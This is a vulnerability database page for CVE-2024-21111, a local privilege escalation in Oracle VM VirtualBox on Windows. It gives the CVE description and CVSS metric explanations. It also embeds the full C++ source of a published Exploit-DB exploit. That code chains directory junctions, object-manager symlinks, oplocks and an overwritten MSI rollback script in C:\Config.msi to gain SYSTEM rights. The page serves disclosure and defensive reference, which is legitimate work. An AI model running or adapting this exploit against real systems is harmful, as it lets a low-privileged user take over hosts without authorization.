CVE-2024-21111 : Detail

CVE-2024-21111

7.8
/
High
Improper Privilege Management
A04-Insecure Design
7.27%V4
Local
2024-04-16
21h26 +00:00
2025-05-09
17h33 +00:00
CVE.org
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CVE Descriptions

Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 7.0.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. Note: This vulnerability applies to Windows hosts only. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 52287

Publication date : 2025-05-08 22h00 +00:00
Author : Milad karimi
EDB Verified : No

# Exploit Title: VirtualBox 7.0.16 - Privilege Escalation # Date: 2025-05-06 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win x64 # CVE : CVE-2024-21111 #include <Windows.h> #include <Shlwapi.h> #include <WtsApi32.h> #include <Msi.h> #include <PathCch.h> #include <AclAPI.h> #include <iostream> #include "resource.h" #include "def.h" #include "FileOplock.h" #pragma comment(lib, "Msi.lib") #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "wtsapi32") #pragma comment(lib, "PathCch.lib") #pragma comment(lib, "rpcrt4.lib") #pragma warning(disable:4996) struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5")) CLSID_VBoxSDS; FileOpLock* oplock; HANDLE hFile, vb11, h; HANDLE hthread; NTSTATUS retcode; HMODULE hm = GetModuleHandle(NULL); HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); DWORD RbsSize = SizeofResource(hm, res); void* RbsBuff = LoadResource(hm, res); WCHAR dir[MAX_PATH] = { 0x0 }; wchar_t filen[MAX_PATH] = { 0x0 }; DWORD WINAPI install(void*); BOOL Move(HANDLE hFile); void callback(); HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); LPWSTR BuildPath(LPCWSTR path); void loadapis(); VOID cb1(); VOID cb0(); BOOL Monitor(HANDLE hDir); BOOL clearDataDir(); BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) { HANDLE hJunction; DWORD cb; wchar_t printname[] = L""; HANDLE hDir; hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("[!] Failed to obtain handle on directory %ls.\n", dir); return FALSE; } SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); SIZE_T PathLen = TargetLen + PrintnameLen + 12; SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; Data->ReparseDataLength = PathLen; Data->Reserved = 0; Data->MountPointReparseBuffer.SubstituteNameOffset = 0; Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) { printf("[+] Junction %ls -> %ls created!\n", dir, target); free(Data); return TRUE; } else { printf("[!] Error: %d. Exiting\n", GetLastError()); free(Data); return FALSE; } } BOOL DeleteJunction(LPCWSTR path) { REPARSE_GUID_DATA_BUFFER buffer = { 0 }; BOOL ret; buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; DWORD cb = 0; IO_STATUS_BLOCK io; HANDLE hDir; hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("[!] Failed to obtain handle on directory %ls.\n", path); printf("%d\n", GetLastError()); return FALSE; } ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL); if (ret == 0) { printf("Error: %d\n", GetLastError()); return FALSE; } else { printf("[+] Junction %ls delete!\n", dir); return TRUE; } } BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { printf("[+] Symlink %ls -> %ls created!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { printf("[+] Symlink %ls -> %ls deleted!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } void runSDS(int delay) { if (delay == 1) { printf("[!] sleeping for 2 sec\n"); Sleep(2000); } CoInitialize(NULL); LPVOID ppv; // 1st trigger to create VBoxSDS.log dir CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER, IID_IUnknown, &ppv); CoUninitialize(); } BOOL checkSDSLog() { BOOL clear = FALSE; std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*"; HANDLE hFind; WIN32_FIND_DATA data; hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data); // iterate first VBoxSDS.log FindNextFile(hFind, &data); if (hFind != INVALID_HANDLE_VALUE) { do { if (wcswcs(data.cFileName, L"VBoxSDS.log.")) { runSDS(0); //wprintf(L"%s\n", data.cFileName); } else { printf("[+] Logs have been cleared!\n"); clear = TRUE; } //wprintf(L"%s\n", data.cFileName); } while (FindNextFile(hFind, &data)); FindClose(hFind); } //printf("CLEAR: %d\n", clear); return clear; } BOOL enumProc(const wchar_t* procName) { PWTS_PROCESS_INFO processes{}; BOOL ok = FALSE; DWORD count; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes, &count)) { for (DWORD i = 0; i < count; i++) { if (wcswcs(processes[i].pProcessName, procName)) { wprintf(L"[!] Process active: %s with PID %d\n", processes[i].pProcessName, processes[i].ProcessId); ok = TRUE; break; } } } else { printf("err: %d\n", GetLastError()); } WTSFreeMemory(processes); return ok; } void checkIfExists() { if (enumProc(L"VirtualBoxVM.exe")) { printf("[!] You seem to have active VMs running, please stop them before running this to prevent corruption of any saved data of the VMs.\n"); exit(1); } if (enumProc(L"VirtualBox.exe")) { printf("[!] VirtualBox process active\n"); // message printf("[!] Trying to exit virtualbox by postmessage close window\n"); PostMessage(FindWindow(NULL, TEXT("Oracle VM VirtualBox Manager")), WM_CLOSE, NULL, NULL); printf("[!] Letting VBoxSDS exit (wait 12 seconds)\n\n"); Sleep(12000); if (enumProc(L"VBoxSDS.exe")) { printf("[-] error stopping vboxsds\n"); exit(1); } else { printf("[+] Success stopping vboxsds!\n"); } } } BOOL clearDataDir() { do { vb11 = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); printf("h: %x %d\n", vb11, GetLastError()); } while (vb11 == INVALID_HANDLE_VALUE); oplock = FileOpLock::CreateLock(vb11, cb1); if (oplock != NULL) { HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0, NULL); oplock->WaitForLock(INFINITE); CloseHandle(c); } BOOL isEmpty = FALSE; do { isEmpty = checkSDSLog(); } while (isEmpty == FALSE); if (!RemoveDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log")) { printf("error removing vboxlog dir\n"); exit(1); } return isEmpty; } int wmain() { loadapis(); checkIfExists(); clearDataDir(); hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n"); install(NULL); hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile != INVALID_HANDLE_VALUE) { printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); } else { printf("[!] Failed. Cannot remove c:\\Config.msi"); //return 1; } } if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) { printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); //return 1; } printf("[+] Config.msi directory created!\n"); HANDLE hDir = getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); printf("hDir: %x\n", hDir); //Monitor(hDir); HANDLE zxc{}; zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0, NULL); SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain express control of our priority SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); oplock = FileOpLock::CreateLock(hFile, callback); if (oplock != nullptr) { oplock->WaitForLock(INFINITE); delete oplock; } do { hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF); } while (!hFile); char buff[4096]; DWORD retbt = 0; FILE_NOTIFY_INFORMATION* fn; WCHAR* extension; WCHAR* extension2; do { ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &retbt, NULL, NULL); fn = (FILE_NOTIFY_INFORMATION*)buff; size_t sz = fn->FileNameLength / sizeof(WCHAR); fn->FileName[sz] = '\0'; extension = fn->FileName; PathCchFindExtension(extension, MAX_PATH, &extension2); } while (wcscmp(extension2, L".rbs") != 0); SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL); while (!Move(hFile)) { } HANDLE cfg_h = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE); WCHAR rbsfile[MAX_PATH]; _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { printf("[+] Rollback script overwritten!\n"); } else { printf("[!] Failed to overwrite rbs file!\n"); } CloseHandle(rbs); CloseHandle(cfg_h); DeleteJunction(dir); CloseHandle(zxc); WCHAR asdfasdf[MAX_PATH]; _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); DelDosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); return 0; } DWORD WINAPI install(void*) { HMODULE hm = GetModuleHandle(NULL); HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); wchar_t msipackage[MAX_PATH] = { 0x0 }; GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); printf("[*] MSI file: %ls\n", msipackage); DWORD MsiSize = SizeofResource(hm, res); void* MsiBuff = LoadResource(hm, res); HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); CloseHandle(pkg); MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL"); printf("%d\n", a); MsiInstallProduct(msipackage, L"REMOVE=ALL"); DeleteFile(msipackage); return 0; } BOOL Move(HANDLE hFile) { if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Invalid handle!\n"); return FALSE; } wchar_t tmpfile[MAX_PATH] = { 0x0 }; RPC_WSTR str_uuid; UUID uuid = { 0 }; UuidCreate(&uuid); UuidToString(&uuid, &str_uuid); _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); IO_STATUS_BLOCK io = { 0 }; rename_info->ReplaceIfExists = TRUE; rename_info->RootDirectory = NULL; rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); if (status != 0) { return FALSE; } return TRUE; } void callback() { SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); Move(hFile); hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL); HANDLE hd; do { hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (!hd); do { CloseHandle(hd); hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (hd); CloseHandle(hd); do { hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); CloseHandle(hd); } while (retcode != 0xC0000022); } HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { UNICODE_STRING ufile; HANDLE hDir; pRtlInitUnicodeString(&ufile, file); OBJECT_ATTRIBUTES oa = { 0 }; IO_STATUS_BLOCK io = { 0 }; InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); if (!NT_SUCCESS(retcode)) { return NULL; } return hDir; } LPWSTR BuildPath(LPCWSTR path) { wchar_t ntpath[MAX_PATH]; swprintf(ntpath, L"\\??\\%s", path); return ntpath; } void loadapis() { HMODULE ntdll = GetModuleHandle(L"ntdll.dll"); if (ntdll != NULL) { pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); } if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) { printf("Cannot load api's %d\n", GetLastError()); exit(0); } } void cb0() { if (!Move(h)) { printf("reached3\n"); exit(1); } printf("reached2\n"); _swprintf(dir, L"C:\\ProgramData\\VirtualBox"); if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) { printf("[!] Exiting!\n"); exit(1); } WCHAR asdfasdf[MAX_PATH]; _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); if (!DosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) { printf("zxc\n"); //printf("[!] Exiting!\n"); //exit(1); } } void cb1() { printf("[!] oplock triggered\n"); if (!Move(vb11)) { printf("reached3\n"); exit(1); } if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) { printf("Error creating dir. Exiting\n"); exit(1); } return; } BOOL Monitor(HANDLE hDir) { printf("[!] Monitor called\n"); BOOL deleted = FALSE; _swprintf(filen, L"VBoxSDS.log.11"); do { do { h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); printf("h: %x\n", h); } while (h == INVALID_HANDLE_VALUE); oplock = FileOpLock::CreateLock(h, cb0); if (oplock != NULL) { HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, (LPVOID)1, 0, NULL); oplock->WaitForLock(INFINITE); CloseHandle(c); } deleted = TRUE; } while (deleted == FALSE); return deleted; }

Products Mentioned

Configuraton 0

Oracle>>Vm_virtualbox >> Version To (excluding) 7.0.16

Microsoft>>Windows >> Version -

References

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.